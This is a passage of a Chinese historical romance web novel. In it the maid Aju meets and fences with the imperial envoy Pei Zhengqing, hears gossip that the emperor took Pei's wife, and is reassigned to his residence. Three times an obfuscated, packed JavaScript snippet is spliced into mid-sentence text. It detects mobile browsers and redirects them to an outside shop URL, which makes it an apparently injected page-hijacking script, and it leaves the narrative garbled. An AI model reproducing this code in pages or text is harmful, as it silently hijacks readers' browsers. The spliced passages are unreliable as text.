阿渔之所以笃定是瑶琴,一来,恐怕连瑶琴自己都没发现,她看阿渔的眼神同云裳是一样的,那种嫉妒又夹杂着不甘。即便她隐藏得很好,但阿渔自小便生活在这样的环境里,对她人细微的表情变化能更敏感地察觉出来。 二来,当日薛娘子突然寻来,将阿渔调去观雪亭,众人的反应各不相同,汀兰是意外,云裳则自鸣得意、幸灾乐祸溢于言表,唯独瑶琴无动于衷。她若不是当真不在意,便是早就知晓。 何人能提前知晓?唯有泄密者。 相通这点,阿渔便不难看清眼下情形。 在这小小的东院,每个人都各自为营。邹妈妈定然更偏向同样出自裴府的瑶琴,却不反对云裳和汀兰做通房;云裳经汤池之事后,禁足半月,元气大伤,却仍小动作不断;汀兰没心没肺,虽蠢蠢欲动,到底手段有限。而她,已经躲至观雪亭偏安一隅,眼下一时半会应当波及不到她。 至于裴大人自己呢,他又作何想法?阿渔突然有些好奇,随后自嘲地笑了笑,怎的就想起他了。 “吱嘎——” 忽然阿渔耳尖一动,敏锐地捕捉到一丝轻微的动静,眼角余光瞥见一双熟悉的高靿方头缎面皂靴。 阿渔呼吸一窒。 9. 相见欢 裴正卿觉得这段时日自己当真是着了魔。 没缘由的,像冥冥之中有什么东西在牵引着他一般,裴正卿莫名笃定那女子就在身旁,可每每待他去寻时,却总不是她,以至每日茶不思饭不想,辗转反侧寝食难安。 思及这段时日的种种反常,裴正卿自嘲地摇了摇头,心下奇道:当真是魔怔了不成? 翻身下马,迈入院门,正待过垂花门,裴正卿忽脚下一顿,想起前几遭经过枇杷园时的不堪甚扰,顿时愈发觉得头疼。 蓦地,他的眼角不经意扫过西侧一座寂静幽微的院落,脑中还在思索脚下已然做出动作,足尖一转,朝着那处角院走去。 推开虚掩的门扉,一股木料瓦片腐朽的霉味,混杂着太阳甜丝丝的暖香扑鼻而来,一间朴素陈旧的屋子出现在眼前。门扉吱嘎的轻响在寂静的环境中陡然放大,随即角落里传来窸窸窣窣的动静。 有人? 裴正卿循着声音的来处望去,只见不远处矗立着一座六角亭,上刻“观雪”二字,周围花木扶疏,一片薄衫衣角倏然闪过。 蓦地,裴正卿心念一动,鬼使神差地追了上去。 身后是男人靠近的身影,阿渔攥着手帕,捂着狂乱的心跳,慌不择路地埋头遁逃。 明明是天大地大,庭院却只尺方寸,小到她无处可逃。 方才还蝉鸣鸟叫不绝于耳,此刻世上的声音却仿佛全都消散,唯有身后的脚步声越来越近,越来越清晰,仿佛每一步都踩在她的心尖儿上。 心脏仿佛要用嗓子眼跳出来,阿渔加快脚步,埋头一个劲儿地向前走,分不清这般为何,她的脑海里此刻只有一个念头:逃!再快点逃! 直到身后传来一道低沉的声音。 “站住!” 闻言,阿渔霎时头皮发麻,恨不能当即拔腿就跑。 然而事实却是,在男人那句话落下后,她的脚步陡然一滞,生生顿住。 阿渔低着头,绝望地闭上双眼。 好闻的熏香越来越近,直至从阿渔的身后绕到身前,如同一个弥天大网,将阿渔牢牢围住。 窘迫难耐的寂静在两人间蔓延开来,阿渔死死垂着脑袋,感受到头顶上男人如有实质的目光,心跳霎时间漏了一拍。 裴正卿喉咙剧烈地滑动,那夜的惊鸿一瞥,那些难以启齿又难以忘却的梦境全都在此刻涌上心头,让他无法回避,也不想回避。 期待、沮丧、四年、煎熬在胸口凝成一股复杂的情愫,化成一道火引子,将压抑在心底许久的滚滚熔炎彻底点燃,一发不可收拾。 过了许久,又仿佛只是一瞬,男人一字一顿,强硬且不容拒绝道:“你、抬起头来!” 阿渔咬了咬唇,在男人愈发压迫的视线下,终于缓缓抬起头,眼睛不由自主扫过他骨节分明的双手,玉色窄袖锦袍、乌皮革带、最终视线定格在他宽阔的肩膀。 阿渔在观察对方的同时,裴正卿亦将阿渔的容貌看了个清楚,仿佛一根羽毛轻轻地拨散了迷雾,梦境中模糊的人脸逐渐与眼前的女子一一对上。 “你叫什么名字?” 阿渔垂眸敛眉,恭敬地回道:“奴婢阿渔。” 裴正卿逐渐平静下来,稍稍后退两步,弯腰垂首看着阿渔的双眸,温文尔雅地问道:“哪个渔?” 甫一触及到男人的视线,阿渔一惊,香腮染上飞红,抿嘴垂眸道:“江枫渔火对愁眠的渔。” 裴正卿闻言有些惊诧:“你读过书?” 阿渔轻轻摇了摇头,回道:“不曾,奴婢只粗略识得几个字。” 裴正卿一笑:“能知道枫桥夜泊,便不算只识粗略几字。”随后沉吟半晌,试探地问道,“你可知道我是何人?” 阿渔闻言飞快地扫了男人一眼,只见他剑眉挺鼻,唇红齿白,眼神温润,一袭锦绣玉袍衬得他温文尔雅,气质清朗。 若是手执一柄折扇,定会让人以为他是个不识人间疾苦的谦谦公子,与同年的吴州刺史刘文会相比不似同辈,反而更像叔侄,更与传闻中年过而立、行事雷霆的钦差官吏相去甚远。 饶是阿渔先前远远瞥见过一次,却不曾想男人竟果真这般年轻,不由得愣了一下,随即回过神,恭敬地回道:“是京城来的裴大人。” 裴正卿饶有兴味道:“既然知道,为何方才躲我?” “奴、奴婢方才急着去洒扫庭院,未曾留意到大人。”阿渔飞快地思索出一个借口。 不知男人是否信了,只见他清浅地笑了一下,嗓音清亮温和道:“我姓裴,名正卿,可记住了?” 阿渔愣愣地点了点头。姓裴,名正卿,京城人氏,倒是不难记,只是为何要让她记住?阿渔不解。 裴正卿笑了笑,话头一转道:“今日风光正好,我打算在此处看看书。” 阿渔看了看天上正值晌午的烈日,又看了看只有一个亭子和稀稀拉拉草丛树木的庭院,不由得纳罕:当真要在这儿看书么?便是他非要在此地看书不可,与她说作甚。他是主子,难不成她一个做奴婢的还能不许怎的? 许是她的腹诽太过明显,男人又轻笑了一声,道:“可否请阿渔姑娘为我端一杯茶来?” 阿渔闻言当即反应过来,脸上一片通红,暗道自己当真是许久未伺候人了,竟连给主子看书时奉茶的规矩都忘了,怪道方才男人轻笑。 阿渔红着脸飞快道:“奴婢这就去。” 说罢,便一溜烟儿逃至院外。 其实阿渔也不需要做什么,凡是主子过口的吃食茶水一应皆由贴身小厮经办,轮不到她过手。 不一会儿,茶煮好了,阿渔小心翼翼地将香茶端回院中。 许是日头太晒,男人已经换了处位置,站在亭中。阿渔将茶奉给他后,见一旁的石凳还未打扫,落了一层细灰,遂赶忙扯下腰间的绢帕,正待擦拭。 “等等。”裴正卿出口拦下,接过阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481256|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渔手中的绢帕道:“你这帕子精细,用来擦灰倒是糟蹋了,用我的吧。” 说罢,他便悄无声息地将绢帕收入怀中,从袖中拿出一块帛帕,在石凳上擦了擦后自顾自坐下。 阿渔一时也未察觉少了点什么,见男人已经开始翻开手边的书册,便识趣地去一旁洒扫了。 午后正是犯困的时候,观雪亭偏僻平日鲜有人至,往日这个时候,阿渔常溜回东厢房歇晌,只是今日贵人在此,倒不好光明正大地躲懒,只好装模作样地洒扫一番,便借口整理杂物去陈屋的廊檐下躲清闲了。 亭子里的贵人倒坐得住,半天没动静,阿渔一只手抬起袖子挡着灼目的光线,一只手托着下巴,神思逐渐飘远。 方才胆战心惊,便是怕他问起那夜溪边之事,自己还未想好如何作答。幸好对方没问,不过转念一想,不问究竟是因为他当真不记得了,还是装作不记得了呢? 阿渔咬着下唇,脑海中闪过种种猜测,愈发乱作一团。 亭子那边仍没有动静,阿渔撇撇嘴心下忍不住腹诽,装腔作势!看了半晌书都不翻一页。 阿渔祖上耕读传家,祖父更是三甲同进士出身,自幼爹爹教她读过不少诗文典籍,故而见状心里忍不住有些好奇,他看到是什么书?庄子?春秋?亦或什么高深莫测的孤本? 她偷偷抬眼望了过去,结果却猝不及防地撞进一双幽深的黑眸中。 阿渔霎时间心跳漏了一拍,待回过神,见男人眉梢微挑朝她示意,便只好硬着头皮过去,讪讪地问道:“大人可要添茶?” 裴正卿嗯了一声,不等阿渔收拾,便朝院外唤来常喜,吩咐他去续茶,而后抬首看着阿渔,似是好奇地问道:“府内用水皆出自何处?” 阿渔回道:“主人和下人平日起居皆用井水,不过泡茶用的是东边的山泉水。” 裴正卿闻言作恍然大悟状,阿渔心下却纳罕他为何问这个问题,莫非是觉得招待不周? 先前只曾听闻鹓鶵非醴泉不饮,后来听说茶圣在《茶经》中将天下名泉排了座次,将谷帘泉奉为天下第一泉,惠山泉为天下第二泉,兰溪泉为第三,前朝甚至有官员尝饮惠山泉,自毗陵至京置递铺。 千里飞马,只为送水,委实矫情,莫非如今京城里的达官贵人都是这般讲究?阿渔不由得胡思乱想。 “那——”裴正卿目光幽深地接着问道,“汤池的水呢?” “自然亦是山泉水。”阿渔漫不经心地随口答道,话说罢反应过来,当即警铃大作,抿了抿嘴试探地问道,“大人问这个做甚?” 裴正卿高深莫测地笑了笑:“只是有些好奇罢了,府里其他人沐浴也都用山泉水?” 阿渔小心翼翼地琢磨腹稿,一板一眼地回道:“回大人,仅东院的汤池可引山泉水,府内其他院不论主子,或是下人皆汲井水沐浴。” 裴正卿嘴角的笑意不变,接着问道:“那......你呢?” 10. 巧言簧 兜兜转转绕了一大圈,裴正卿终于问出最想问的那个问题。 “那......你呢?” 阿渔长睫微颤,须臾眼珠一转,眨了眨杏眸,一本正经地回道:“回大人,奴婢用的雨水。” 男人似是受到惊吓,结结巴巴道:“......当、当真?” 温文尔雅的贵人难得失态,阿渔心里的小人笑弯了腰,面上仍不动声色地信口胡诌:“自是当真,大人熟读诗书,当知晓古诗有云,雨水洗春容。古人尚沐以春雨,洗尽铅华,奴婢虽身份卑贱,然身在刺史府,当耳濡目染,行古人之雅事,效古人之雅风。” “更何况诗中曾记载,所谓涂香莫惜莲承步,长愁罗袜凌波去,便是指女子月下沐浴,将香膏皂角涂抹在足上,待夜雨降临,香膏融化,仿若凌波而去,步步生莲,可谓美哉!” 阿渔脸不红心不跳,睁着眼说瞎话,说罢做出一副语重心长的模样宽慰道:“不怪大人不知,此乃女子秘事,等闲男儿定不知晓,大人虽学富五车,终究男女有别,不知内情亦情有可原。” 裴正卿干巴巴道:“原是如此,受教了。” 阿渔欣慰地摆摆手:“不敢当,不敢当。” 裴正卿温润的双眸染上几抹真心的笑意,心下觉得她分外可爱,不仅不愿拆穿她,反而愈加恭维了两句。 阿渔心虚地讪讪一笑,见好就收。 正好此时常喜将茶水端来,她忙不迭接过放下。 裴正卿端过香茶送至嘴边,浅浅地抿了一口,顺便将手中的书册翻了一页,随意地扫了一眼。 似是瞧见什么有趣的,突然他呛了一口茶,肩膀不停地抖动,眉眼染上笑意。 阿渔原本准备告身退下,见状顿时有些好奇,遂脚步一顿,伸长脖子飞了一眼。 只见书册上是一首五言八句四十字的律诗,看着无甚特别之处,为首的句子简短而又朗朗上口:雨水洗春容 “......” 阿渔终于反应过来男人方才所笑为何。 她的脸仿佛要烧起来似的,一股热气窜出天灵盖,当即捂着绯红的香腮脚底抹油飞快地逃走了。 一双含着笑意的双眸从书后抬起,看着阿渔逃走的方向,忍不住轻笑出声。 西向角院内除了观雪亭,还有一间落了锁的旧屋,里面堆放了许多乱七八糟的杂物,落了一层厚厚的灰,连下脚的地方都没有,是故阿渔只能在屋檐下躲凉。 烈火炎炎,亭子里裴正卿先前坐的地方还有方寸阴凉,然而随着日头升高,观雪亭彻底曝露在烈日下,便是身强体壮的武将亦耐受不得,更遑论裴正卿一介文官。 兼之,庭院内花木扶疏,以至蚊虫鸟鸣不绝,长久呆在院内,恐招来叮咬。阿渔原以为男人差不多应当离去了,却不曾想看到常喜抱着一堆东西来来往往地进出庭院,一会儿给主子端茶扇风,一会儿撑伞遮蚊帐,忙乎地脚不沾地。 当真是做主子的,瞧着是个温文尔雅的谦谦君子,实则将人使唤得团团转,阿渔撇撇嘴,心下觉得他委实有些作。 不知不觉两个时辰过去,金乌西坠,亭内若再支着纸伞蚊帐难免影响光线,遂一番折腾又将那些物什撤了下去。 阿渔眯着眼看了看天色,提起裙摆,踏入亭内,对上男人询问的目光,踌躇片刻后劝道:“大人,眼下日落西山,瞧着天色约莫已是申时四刻,余晖虽没有晌午灼烈,到底还有余热,且天色渐暗,看书伤眼,不如回去歇下罢。” 裴正卿默了一瞬,问道:“你平日何时下值?” 阿渔闻言心里咯噔了一下,当即警惕起来。 莫非他今日这般折腾,不是为了那夜溪边的事兴师问罪,而是来监督她干活的? 阿渔垂眸敛眉,一本正经地回道:“邹妈妈安排我们申末酉初下值,不过我每日都会多待一刻钟检查各处的器具。”假的,她每日提前半个时辰离开,从不检查器具,反正此处无人监督,傻子才按时下值。 裴正卿闻言抿了抿嘴,略作思忖,温和地问道:“可否请你多留一刻,将这亭子再洒扫一番?” “......”她不愿意。 阿渔在心里拼命摇头,主子使唤人,只需简单嘴皮子上下一动,下面的奴才就要累死累活,她才不愿意呢! 然而,纵使心里百般不愿,阿渔嘴上仍喏喏称是,而后拿起扫帚不情不愿地打扫起来。 往日虽无人来观雪亭,好在阿渔仍每日洒扫,今日白间也已经擦拭过一次,是故无甚脏污之处,只需清去浮灰即可,倒不麻烦。 男人站起身换了个地方,片刻后冷不丁地问道:“你现下住在何处?” 阿渔扫了扫男人方才所坐的石凳周围,随口回道:“奴婢住在东厢房。” 东厢房,裴正卿似乎听邹妈妈提起过一嘴,心念一动问道:“你是刺史夫人送来的婢女?” “回大人,正是。” 阿渔边说边把灰尘往台阶下扫,与亭外的落叶聚拢在一起。 裴正卿眸光微闪,身形一动,仿佛信步闲庭地向前走了两步,倏然脑海中联想起先前的一件事,心下不解,犹疑地问道:“为何那日......” 阿渔手中的动作一顿,当即反应过来,他是想起了为何那日薛娘子领的人里没见到她? 阿渔觉得今儿一天说的胡话恐怕比过去一年都要多,眨巴眨巴眼睛,面不改色地搬出那日的说辞:“奴婢那时有事耽搁了,落在后面,故而未能拜见大人。” “原是如此。”男人换了个站的姿势,闻言温和地笑了,不知是信了没信。 阿渔古怪地向男人瞥去一眼。 是屁股上长钉子了? 还是见她做活,不好意思坐着? 明明先前一直端坐在石凳上稳如泰山,为何眼下突然动来动去搔首弄姿? 莫非是她拂地的动作太大,扬起的灰尘呛着他了? 阿渔晃了晃脑袋,将这些乱七八糟的猜测甩出脑中,加快了手中的活计。 “回大人,奴婢已将观雪亭里里外外清扫了一番。眼看便是酉时,奴婢需及时去西厢房将角院的钥匙交还邹妈妈,若大人没有别的吩咐,奴婢就先退下了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481257|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿渔说罢,福了福身便袅袅而去。 看着阿渔告退离开的背影,裴正卿温润的双眸逐渐幽深,似在酝酿着什么。 一旁的长喜突然冒了出来,盯着主子的后颈欲言又止。半晌,他委婉道:“大人,若不然奴才替您寻个大夫进来看看?” 裴正卿闻言莫名其妙:“寻大夫做甚?” “大人您.......”常喜欲言又止,眼神不住地瞟向他的后颈。 裴正卿后知后觉地反手摸向后颈,只觉触手一片火辣辣地疼。 尚未入伏,薄暮的太阳便这般毒辣。裴正卿轻笑一声,怪道世人常言老房子着火,一发不可收拾,这还没怎的,便把自己烧着了。 亏得京城里那些人说他沉稳,若让......知晓,不定怎么嘲笑他。 “丁点儿小事便不必寻大夫了,若要邹妈妈知道了,定要将院里的人折腾得人仰马翻。” “可大人您这晒伤......” “明儿一早要去巡查河道,营帐内应当备有消肿的药材,届时敷几贴便好,此事不急,但另有一件事需你尽快去做。”裴正卿招手,让常喜附耳过来,三言两语将话交代清楚。 常喜闻言眉头一跳,大人这是...... *** 阿渔将角院的钥匙还交邹妈妈后,便回了东厢房。 甫一推开院门,庭院里静悄悄的,四间屋子俱未燃起烛灯,看着黑乎乎的。 奇怪,往日此时不都应该回来了么? 阿渔按下心中疑虑,照例儿烧水、担水、沐浴、歇下,直到躺上床榻,她才发现绢帕不见了。 仔细回忆,最后一次见到那方绢帕就是今儿白天在观雪亭时,她拿出帕子打算擦拭石凳,却被裴大人拦下,之后......之后便不曾再见过那方绢帕。 莫非是贵人顺手拿错了?阿渔兀自揣度。 到底是女子的贴身之物,虽不是什么值钱儿的物件,可若是外男捡着总归不妥,更何况那人还是如今刺史府里顶顶尊贵的钦差大人。 思及今儿白天见到的裴大人,阿渔轻咬下唇,初初听闻只模糊觉得他是位遥不可及的贵人,后来阴差阳错发生了一些事情,她心里既惶恐又有迷茫,还有一丝藏在心底说不清道不明的情绪。 怀着这样复杂的心情,她一边得过且过地躲藏,一边隐秘地期待。 初见的第一眼,阿渔便觉格外惊诧,怎的会有人年过而立、位高权重的同时,竟这般年轻俊秀,仿佛与传闻中不是同一人。 阿渔侧过身,砰砰的心跳仿佛撞击着床板,一声一声地砸入她的耳中。想起今儿白天说的那些胡话,她不由得扑哧一笑,那样温文尔雅,和睦宽厚的君子竟也信得那些不着调的胡言乱语。 “笃——笃——” 屋外传来两声轻微的敲门声,阿渔骤然回过神,脸色肃然,悄悄将手探入枕下,踅摸出一支先前特意藏匿用以防身的锋利银簪,警惕地看向门外。 来人透过门缝,用气声飞快说道:“阿渔,是我,快来开门!” 阿渔一愣,汀兰? 11. 夺臣妻 待听清来人的音色,阿渔松了一口气,将银簪藏回枕下,靸上床边的绿绸子睡鞋,走至门边,拔下插闩,透过门缝见来人果然是汀兰。 只见她穿着一件藕丝对衿纱衣,外面松垮垮地披着一件青布大袖衫,披头散发,抱着睡枕和薄衾站在门外,小心翼翼地左右张望一番,便推着阿渔一起进到屋内。 “你这是......”阿渔不解。 “嘘!”汀兰竖起食指放在口边,比了一个噤声的手势,随后蹑手蹑脚地走到阿渔身边,拍了拍她的肩膀,附耳小声道,“有个不得了的事要与你说。” 说罢,汀兰踮着脚尖三步并作两步迅速走到床边,胡乱地踢掉脚上的睡鞋爬上床榻,双手拽着薄衾的两角将自己笼起罩住,只稍稍透出一道缝隙,伸出手招了招:“快上来!” 什么事这么神秘?阿渔不明所以,将信将疑地上了床榻,甫一躺下,便听到汀兰第一句话如是问道:“关于栖云堂里那位裴大人的事你知道多少?” 阿渔闻言盖衾被的手一顿,眸光闪烁,笼统地回道:“大抵便是府里下人都知道的那些。” 京城来的大官、年过而立、鳏夫。 随后她面上不动神色地问道:“怎的,这便是你要说的不得了的事?” 汀兰被这话一激,顿时觉得被自个儿被小瞧了,愤愤道:“才不是!” 似是为了证明自己,汀兰不再藏着掖着兜圈子,语气骄傲炫耀道:“你们知道的不过九牛一毛,他的来路可远比你想象的要复杂的多。你们只知他是个鳏夫,可知他先前的正头娘子是何人?” 阿渔诚实地摇了摇头,有些好奇:“是谁?” 汀兰神神秘秘道:“是他的表妹!” “......” 世家贵族间相互联姻不足为奇,更何况不论是京城还是江南,表亲间的姻亲嫁娶比比皆是,算什么了不得的事情。 阿渔撇撇嘴,大失所望,了无兴趣地翻身背了过去。 “哎,我还没说完呢!”汀兰看出阿渔脸上的失望,赶紧去掰她的肩膀,见她不动,索性直接爆出底牌:“重点不是表兄表妹,重点是据说先头那位亡故的裴夫人与宫里的贵妃长得一模一样!” 听到后一句话,阿渔神色一动。 她隐约中仿佛想起,有一次她偷偷溜去溪边洗澡前,就是误打误撞碰见裴正卿那日,曾听其中一位小厮同样提起过,当今圣上的宠妃与亡故的裴夫人容貌极为相似。 若传言为虚,到底是朝堂上有人陷害裴大人?还是后宫争宠波及前朝? 若传言不虚,那是有人意欲借传言之口,质疑皇室血统,目的是......立储? 阿渔如今虽沦为罪奴,可身为官眷后代,即便家族落魄,亦难免耳濡目染,比寻常人思虑得更多。 思及此,她当即坐起身,捂住汀兰的嘴巴,警惕地向门外看了半晌,确定无人后才放下手,琢磨着用词一字一顿道:“你生在江南,长在江南,既不曾见过先裴夫人,亦不曾见过宫里的贵妃,怎的知道她们二人是何模样?此事关系天家颜面,不好空口无凭乱说。” 汀兰以为阿渔不信,当自己是骗她的,顿时忘了顾及隔墙有耳,急切地反驳道:“我没......唔唔唔!” 幸亏阿渔反应及时,汀兰方一出声,她便眼疾手快死死捂住她的嘴。 门外月下幽期,唯鸟影、树影、窗影子,暂无人注意。床边隔墙的一侧是汀兰的屋子,再隔一间方是云裳住的耳房,应当并无大碍。唯独对面隔墙的一侧是瑶琴的居所,此刻夜深人静,不知方才的动静是否惊动了她。 “嘘!”阿渔竖起耳朵认真听了半晌,确信方才门外没有传来脚步声,才将提起的心稍稍放下。正犹豫是否松开捂着汀兰嘴巴的手,便见她扑闪扑闪地拼命朝自己眨巴眼睛,可怜巴巴的,心下不忍便松开了。 汀兰张大嘴巴,吐着舌头狠狠呼吸了两口空气,正待说话,想了想,拉过一旁的薄衾盖在她和阿渔的头上,方才放下心来,小声地继续刚刚未说完的话:“我没有胡言乱语,方才说的都是真真的。我虽不曾见过先裴夫人,也不曾见过贵妃,但你别忘了眼下咱们府里可有不少京城裴府的下人,他们未必没有见过。” “更何况,十五年前裴府大婚时曾闹出过一个不小的丑闻,便是新娘在婚礼前曾失踪过半日。偏此时,正好有人曾看到当时的三皇子,也就是如今的圣上,策马带着一袭红衣,满脸泪痕的女子出现在皇庄附近。”说到这儿,汀兰挑了挑眉,意味深长地拖长了尾音。 “虽然后来裴府的婚礼如常进行,三皇子府上的太监亦做证,三皇子那段时日并未离开府邸,而是一直潜心整理吏部案牍,这则轰动的逸闻才不了了之。但京中的人,或者常出入京城做买卖的行商定然都听闻过此事,只消稍稍打听,便能从多方得知,何故需要我编排。” 一下子听到如此多匪夷所思之事,阿渔好一会儿没反应过来,暗自琢磨消化了片刻后,迟疑道:“照你的意思,当今圣上在做皇子时,便看上了裴夫人,只是奈何裴大人与裴夫人有婚约在先,且碍于皇家体面,不能出手阻拦。后圣上登基,便使了手段将裴夫人抢入后宫为妃,而裴大人作为臣子,无可奈何便只能捏着鼻子应下,对外则称裴夫人亡故。” 阿渔边说边倒吸了一口凉气:“既然先裴夫人同宫里的贵妃是同一人,那么岂不是......” 汀兰点点头,替她将那四个字说了出来:“君夺臣妻。” 阿渔震惊地半晌未回过神。 仔细一想,若传言为真,便不难理解为何圣上会钦点裴大人作为运使,遣来江南。毕竟运使之职虽权大、品阶高,但到底只是为了应对水患之灾特设,并非常职。水患侵扰江南数百年之久,治得好是本分,治得不好则受罚,委实不讨好。 听罢今日汀兰带来的消息,阿渔认为圣上看重裴正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汀兰轻嗤一声,不足为奇道:“邹妈妈下令让云裳禁足,却又没派人守着东厢房。云裳是刺史夫人送来的婢女,除了裴大人从京城带来的那些下人不给她面子,府里其他下人多多少少都会卖她一些好。况且她做的那些事也不算太出格,只要暂时不去主子跟前蹦跶,不出东院,邹妈妈都会睁一只眼闭一只眼。” 阿渔若有所思,琢磨半晌后,问道:“除了云裳,你可有注意到瑶琴这些日子的动向?” “......瑶琴?”汀兰已经有些睡意朦胧,听到阿渔这么问,强行驱散困觉,回忆片刻后摇了摇头,“不曾注意过,她可有何不对?” 阿渔不确定是否是自个儿多心了,犹豫再三,到底还是多提醒了一嘴:“瑶琴此人不简单,你平日多留心着点。” 云裳张牙舞爪,虽然有时使坏,但表情易懂,手段简单,只要将她看懂其实不难应对。 反而是不动神色的瑶琴,单凭她是裴大人此番南下唯一带来的年轻婢女,便可见此人心计绝不一般。 汀兰闻言顿时吓醒,期期艾艾道:“难、难不成她要害我们?” 12. 贺新居 “倒不是。”阿渔哑然失笑,兀自思忖须臾,到底只叮嘱了一句让她素日里多加留心,旁的没有多言。 汀兰似懂非懂地应下。 两人睡在一张床榻委实有些拥挤,可眼下夜深人静,若推门出去难免会引起动静。 汀兰心大如网,却也知情识趣,见状乖觉地抱着枕头和薄衾去了外间的绣榻,不一会儿便呼吸绵长,沉沉睡去。 阿渔望着帐顶,耳畔听着房间内的动静,心下笃定她已睡熟,便小心翼翼地将手探入枕下,很快便踅摸出想要的物件,赫然是一片巴掌大小的树叶。 今儿虽丢了绢帕,却意外捡到这片树叶,原不是什么稀罕玩意儿,可它经虫鸟咬食形成的虫洞却不寻常,竟正正好好是颗心形。 房内光暗明灭,月光穿过窗棂洒在地面上,拉出一道道明暗相间的长影。床榻边烛火幽微,是阿渔为以防起夜绊倒,特意每晚燃着的。 她把玩着手中的树叶,心念一动,将心形的虫洞对准烛火,下一瞬墙壁上陡然出现一个放大的影子! 火焰跳动,影子亦跟着跳动。阿渔好奇地将树叶向着烛火的方向移动寸许,墙上的影子随之变得高大无比,可若是将树叶远离着烛火的方向移动寸许,墙上的影子便像湮灭了般缩小许多。 阿渔拉着树叶左右移动,墙上的影子也随着来回变化,可奇的是分明虫洞是心形,可影子始终都是烛火的形状。 阿渔顿生好奇,灵机一动,用手指遮住树叶上的半边心形。 可令她失望的是,墙上的影子依然是烛火的模样,并未因她遮住半边心形而有所改变。 然而,待阿渔凝神观察,却发现影子并非完全没有改变,虽不似她想的那般从烛火状变为心形,却实打实地愈发清晰,连轮廓上跳跃的毛刺都仿佛一根根清晰可见。 阿渔一愣,不知为何突然出现这种现象。她试探地一点点遮着大半心房,只见墙上的影子亦随着愈发清晰,单论外形,几近与床榻边燃着的烛火一般无二,除了......愈发昏暗。 阿渔缓缓垂下手,呆愣愣地看着恢复如常的墙面。心被一点点填满,影子便愈加清晰,却同样愈加昏暗,仿佛在昭示着什么。 阿渔翻了个身,耳边突然出现白天,男人清浅温和的声音。 “我姓裴,名正卿,可记住了?” 位高权重的大官、温文尔雅的君子、过往复杂的中年男子,所以裴正卿,究竟哪个才是真正的你呢? 阿渔枕着曲起的手臂,一颗心不住地下沉,辗转反侧终心事重重地睡去。 翌日 天光熹微,阿渔一大早便推醒了汀兰,让她趁着眼下尚且无人起身,悄悄离开,而后便漱口、担水、拂脸擦拭一番收拾,迈出门外正待回身掩上房门。 忽然,她抬眸眼角瞥见门外站着一位浅笑盈盈的青衣女使,赫然是薛娘子。 阿渔一愣,若是没记错的话,这是薛娘子第三次造访东厢房。 第一次是奉邹妈妈的命令,领她们前来东厢房安顿; 第二次,同今儿的情形一样,也是早早便在厢房外站着,表面客套询问,实则打定主意将她调去观雪亭。 这第三次来,又是所为何事? 阿渔心里惴惴不安,脑中瞬间闪过万千思绪,面上却端地一派镇定,提起裙摆,迈着莲步,不急不徐地向前迎了两步,微微颔首见礼道:“薛娘子安好。” “阿渔姑娘。”薛娘子挂着得体的笑意回道。 果真是来寻她的,阿渔脑中迅速闪过这个念头,面上不动神色道:“今儿个什么风,怎的一大早把姐姐吹来了,可是邹妈妈有什么要紧的事吩咐?” 薛娘子语气轻松道:“说是也不是,倒是我要在这儿先恭喜阿渔姑娘了。” “......恭喜?”阿渔不解道,“姐姐此话何意?” 薛娘子拍了拍阿渔的手,面上仍是那副客套得体的笑意,只眼底真了三分,道:“你啊,从今儿个起就不必再去洒扫观雪亭了。主子给你安排了一份新活计,你快去屋里收拾收拾东西,将平日里用的物件儿都带上,待会便随我走罢。” 主子?裴大人?是他要将她调走? 阿渔心怦怦跳,一个猜测呼之欲出,她抿了抿嘴,反手握住薛娘子的手,追问道:“且等等,姐姐还未说带我去何处?” 二人说话间,东厢房内其他人陆续注意到院里的情形,或是好奇地打开门扉探出身不远不近地站着,或是干脆走出门外,似有若无地从一旁经过。 便是连一向不动神色的瑶琴都悄无声息地打开一侧窗柩,似是漫不经心地整理着梳妆台上的箱奁,垂下的眸中划过猜疑、忐忑,最终归为幽深。 只见薛娘子意味深长地笑了一声,徐徐道:“自是去——栖云堂呐。” *** 栖云堂是东院风水最好的院落。 它位于正院最深处,与东西厢房通过抄手游廊连接,正对面便是景色优美的园子,内有飞虹、清池、赏梅亭、举荷亭以及枇杷园。 身后一墙之隔便是后院,连接着东北角院的天井、门道,以及西北角院的私汤和枫叶林。 栖云堂内正房三间,房外错落有致地植着一片竹林,清风吹过林声哗啦,阳光照射光影斑驳,极为雅致清幽,故而将三间正房里居于正中,最宽敞最精致的房间名为梧竹居,另两间正房未名。 除三间正房外,栖云堂左右各有一间耳房。西耳房光线明亮,古朴宁静,故而设为书房。东耳房隔为两间,一间储物,一间住着主子的贴身小厮。 薛娘子拿出一份手令交予看守在栖云堂外的裴府侍卫。 侍卫长认认真真地看了两遍,上下扫了一眼薛娘子及身后的阿渔,又朝身边两个侍卫使了个眼色跟上,方才点头放行。 “书房是栖云堂的重地,等闲人等绝不可靠近。书房和栖云堂外每日皆有人轮值看守,今后你既住在栖云堂,切记未得主子允准,绝不可靠近书房,否则任随何人都救不了你。”薛娘子神色严 